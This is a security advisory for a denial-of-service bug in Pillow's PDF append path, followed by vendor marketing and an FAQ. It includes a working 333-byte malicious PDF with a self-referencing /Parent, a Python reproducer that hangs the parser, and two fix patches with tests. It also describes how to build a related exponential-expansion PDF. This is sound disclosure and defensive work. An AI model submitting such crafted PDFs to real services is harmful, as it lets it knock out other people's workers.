Summary
Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
============================================================================
Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle
Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or save_all=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.
The bug is in PdfParser.rewrite_pages() in src/PIL/PdfParser.py (the while pages_tree_node_ref: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin._save() → write_catalog() → rewrite_pages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.
This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processed_offsets guard added to read_prev_trailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.
The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewrite_pages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.
Details
PdfParser.rewrite_pages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.
The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:
%PDF-1.4
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000056 00000 n
0000000125 00000 n
trailer
<</Size 4 /Root 1 0 R>>
startxref
192
%%EOF
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:
File "src/PIL/PdfImagePlugin.py", line 263, in _save
existing_pdf.write_catalog()
File "src/PIL/PdfParser.py", line 473, in write_catalog
self.rewrite_pages()
File "src/PIL/PdfParser.py", line 505, in rewrite_pages
while pages_tree_node_ref:
The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.
The loop:
# src/PIL/PdfParser.py:483-510
def rewrite_pages(self) -> None:
pages_tree_nodes_to_delete = []
for i, page_ref in enumerate(self.orig_pages):
page_info = self.cached_objects[page_ref]
del self.xref_table[page_ref.object_id]
pages_tree_nodes_to_delete.append(page_info[PdfName(b"Parent")])
…
# delete redundant Pages tree nodes from xref table
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
pages_tree_node_ref = pages_tree_node.get(b"Parent", None)
self.orig_pages = []
How the input gets there: with append=True, PdfImagePlugin._save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls read_pdf_info(). That reads the catalog, reads the page-tree root through read_indirect(), which stores every object it reads in self.cached_objects (src/PIL/PdfParser.py:1077), and flattens the tree with linearize_page_tree(), which read_indirect()s every /Kids entry. So after parsing, orig_pages == [3 0 R] and objects 2 and 3 are both in cached_objects. _save() then calls existing_pdf.write_catalog() → rewrite_pages().
For the file above, the first loop puts page 3's /Parent, 2 0 R, into pages_tree_nodes_to_delete. The inner while looks object 2 up in cached_objects, removes it from the xref table on the first pass, and sets pages_tree_node_ref to object 2's /Parent, which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cached_objects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent, __delitem__ only records the id in deleted_entries, while __contains__ keeps answering from existing_entries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearize_page_tree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.
The parser already defends against exactly this shape of problem one level up: read_prev_trailer() (src/PIL/PdfParser.py:699-722) carries a processed_offsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats, the fix for CVE-2026-42310. The /Parent walk in rewrite_pages() has no equivalent guard.
The unguarded walk was introduced in 24ecfe315ab5 ("issue #2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.
Reproducing
repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.
The script builds two one-page PDFs in memory with make_pdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:
controlhas<</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file.cyclichas<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own/Parent. This is the 333-byte file shown above.
For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.
Expected output on this commit (PDF dumps omitted):
[control] append finished in 0.045s
[cyclic] still running after 5s, interrupted in:
save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename)
_save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog()
write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages()
rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref]
...
BUG
The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewrite_pages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.
Related findings
- Exponential page tree expansion in
PdfParser.linearize_page_tree()(repeated/Kidsreferences) hangs PDF append, the downward counterpart of this bug in the same parser and on the sameImage.save(..., "PDF", append=True)entry point:linearize_page_tree()(src/PIL/PdfParser.py:1080-1094) recurses into every/Kidsentry and re-parses it viaread_indirect()with no visited set, so a/Pageschain whose nodes list the same child N times over D levels costs ND object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct/Kidscycle ends inRecursionError). It differs from this report in the link followed (/Kidsdown vs/Parentup), the function and phase (linearize_page_tree()duringread_pdf_info()in thePdfParserconstructor vsrewrite_pages()duringwrite_catalog()), the introducing commit (6207b44ab1ffvs24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the/Parentwalk and leave the/Kidsreproducer hanging inlinearize_page_tree(), and the/Kidsguard conversely leaves this reproducer spinning inrewrite_pages(), verified by cross-applying each patch. Applied together (the/Kidsguard plus attached patch 2), both reproducers are rejected withPdfFormatError: page tree loop foundandTests/test_pdfparser.py+Tests/test_file_pdf.pypass (30 tests).
The patch (1 of 2)
Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF
Applies to src/PIL/PdfParser.py at the commit above.
diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..f841aca14 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None:
def test_trailer_loop() -> None:
with pytest.raises(PdfFormatError, match="trailer loop found"):
PdfParser("Tests/images/trailer_loop.pdf")
+
+
[email protected](5)
+def test_page_tree_parent_loop() -> None:
+ # the /Pages root names itself as its own /Parent
+ objects = [
+ b"<</Type /Catalog /Pages 2 0 R>>",
+ b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+ b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+ ]
+ b = BytesIO(b"%PDF-1.4\n")
+ offsets = []
+ for object_id, body in enumerate(objects, start=1):
+ offsets.append(b.tell())
+ b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+ xref_offset = b.tell()
+ b.write(b"xref\n0 4\n0000000000 65535 f \n")
+ b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+ b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+ with PdfParser(f=b, mode="r+b") as pdf:
+ pdf.start_writing()
+ pdf.write_catalog()
+ pdf.write_xref_and_trailer()
+ assert 2 in pdf.xref_table.deleted_entries
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9260cd8e7 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -501,8 +501,14 @@ class PdfParser:
# replace the page reference with the new one
self.pages[j] = new_page_ref
# delete redundant Pages tree nodes from xref table
+ processed_pages_tree_nodes: set[IndirectReference] = set()
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
+ if pages_tree_node_ref in processed_pages_tree_nodes:
+ # ancestors are shared between pages, and a malformed
+ # /Parent chain may loop back on itself
+ break
+ processed_pages_tree_nodes.add(pages_tree_node_ref)
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
The patch (2 of 2)
Raise PdfFormatError("page tree loop found") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself
Applies to src/PIL/PdfParser.py at the commit above.
diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py
index f2ae6b11f..24faeefbc 100644
--- a/Tests/test_pdfparser.py
+++ b/Tests/test_pdfparser.py
@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None:
def test_trailer_loop() -> None:
with pytest.raises(PdfFormatError, match="trailer loop found"):
PdfParser("Tests/images/trailer_loop.pdf")
+
+
[email protected](5)
+def test_page_tree_parent_loop() -> None:
+ # the /Pages root names itself as its own /Parent
+ objects = [
+ b"<</Type /Catalog /Pages 2 0 R>>",
+ b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>",
+ b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
+ ]
+ b = BytesIO(b"%PDF-1.4\n")
+ offsets = []
+ for object_id, body in enumerate(objects, start=1):
+ offsets.append(b.tell())
+ b.write(b"%d 0 obj\n%s\nendobj\n" % (object_id, body))
+ xref_offset = b.tell()
+ b.write(b"xref\n0 4\n0000000000 65535 f \n")
+ b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets))
+ b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset)
+
+ with PdfParser(f=b, mode="r+b") as pdf:
+ pdf.start_writing()
+ with pytest.raises(PdfFormatError, match="page tree loop found"):
+ pdf.write_catalog()
diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py
index 672557190..9021b8d63 100644
--- a/src/PIL/PdfParser.py
+++ b/src/PIL/PdfParser.py
@@ -502,7 +502,13 @@ class PdfParser:
self.pages[j] = new_page_ref
# delete redundant Pages tree nodes from xref table
for pages_tree_node_ref in pages_tree_nodes_to_delete:
+ processed_pages_tree_nodes = []
while pages_tree_node_ref:
+ check_format_condition(
+ pages_tree_node_ref not in processed_pages_tree_nodes,
+ "page tree loop found",
+ )
+ processed_pages_tree_nodes.append(pages_tree_node_ref)
pages_tree_node = self.cached_objects[pages_tree_node_ref]
if pages_tree_node_ref.object_id in self.xref_table:
del self.xref_table[pages_tree_node_ref.object_id]
The reproducer
Reproducer,repro, 3,152 bytes (click to open)Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
#!/usr/bin/env python3
"""Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.
Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes
rewrite_pages() walk each original page's /Parent chain upward until a node has
no /Parent. Nothing records which nodes were visited, so a /Pages node that
names itself as its own /Parent keeps the walk going forever.
We append a 4x4 image to two one-page PDFs that differ in one entry:
control - a normal PDF -> finishes in milliseconds
cyclic - the /Pages root also says /Parent 2 0 R -> never finishes
A SIGALRM watchdog interrupts the append and shows the line it was stuck on.
"""
import io
import signal
import time
import traceback
from PIL import Image
WATCHDOG_S = 5
def make_pdf(pages_root):
"""Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table."""
objects = [
b"<</Type /Catalog /Pages 2 0 R>>",
pages_root,
b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>",
]
pdf = bytearray(b"%PDF-1.4\n")
offsets = []
for num, body in enumerate(objects, start=1):
offsets.append(len(pdf))
pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body)
xref_offset = len(pdf)
pdf += b"xref\n0 4\n0000000000 65535 f \n"
pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets)
pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xref_offset
return bytes(pdf)
class StillRunning(BaseException):
pass
def on_alarm(signum, frame):
raise StillRunning
def append_image(name, pdf):
"""Append an image to `pdf`; return True if it finished before the watchdog."""
print(f"--- {name}: {len(pdf)}-byte PDF ---")
print(pdf.decode("latin-1"), end="")
signal.alarm(WATCHDOG_S)
start = time.monotonic()
try:
Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True)
except StillRunning as e:
print(f"[{name}] still running after {WATCHDOG_S}s, interrupted in:")
for frame in traceback.extract_tb(e.__traceback__):
if "/PIL/" in frame.filename:
print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}")
return False
except Exception as e: # rejecting the file is a correct, safe outcome
print(f"[{name}] raised {type(e).__name__}: {e}")
return True
finally:
signal.alarm(0)
print(f"[{name}] append finished in {time.monotonic() - start:.3f}s")
return True
signal.signal(signal.SIGALRM, on_alarm)
# Set up: the well-formed file is appended to instantly.
control = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>")
if not append_image("control", control):
print("control case did not finish; environment problem, no verdict")
print("OK")
raise SystemExit
# Attack: the same file, except the /Pages root is its own /Parent.
cyclic = make_pdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>")
finished = append_image("cyclic", cyclic)
# Verify: a fixed parser finishes (or rejects the file) like the control.
print("BUG" if not finished else "OK")
Impact
Any application that appends pages to a PDF it did not produce, im.save(fp, "PDF", append=True) or save_all=True, append=True on a user-supplied document, hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.
This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Both attached patches fix the root cause, which is that the /Parent walk in rewrite_pages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.
Attached patch 1 (tolerant; our preference) adds one processed_pages_tree_nodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:
# src/PIL/PdfParser.py, rewrite_pages()
processed_pages_tree_nodes: set[IndirectReference] = set()
for pages_tree_node_ref in pages_tree_nodes_to_delete:
while pages_tree_node_ref:
if pages_tree_node_ref in processed_pages_tree_nodes:
break
processed_pages_tree_nodes.add(pages_tree_node_ref)
…
Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.
Attached patch 2 (strict) follows the read_prev_trailer() guard from the CVE-2026-42310 fix. It keeps a processed_pages_tree_nodes list for each page and calls check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from write_catalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.
Each patch also adds a test_page_tree_parent_loop regression test to Tests/test_pdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearize_page_tree() does not follow /Parent.
Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearize_page_tree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.
Frequently Asked Questions
- What is CVE-2026-112406? CVE-2026-112406 is a high-severity security vulnerability in Pillow (pip), affecting versions >= 5.1.0, < 13.0.0. It is fixed in 13.0.0.
- Which versions of Pillow are affected by CVE-2026-112406? Pillow (pip) versions >= 5.1.0, < 13.0.0 is affected.
- Is there a fix for CVE-2026-112406? Yes. CVE-2026-112406 is fixed in 13.0.0. Upgrade to this version or later.
- Is CVE-2026-112406 exploitable, and should I be worried? Whether CVE-2026-112406 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-112406 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-112406? Upgrade
Pillowto 13.0.0 or later.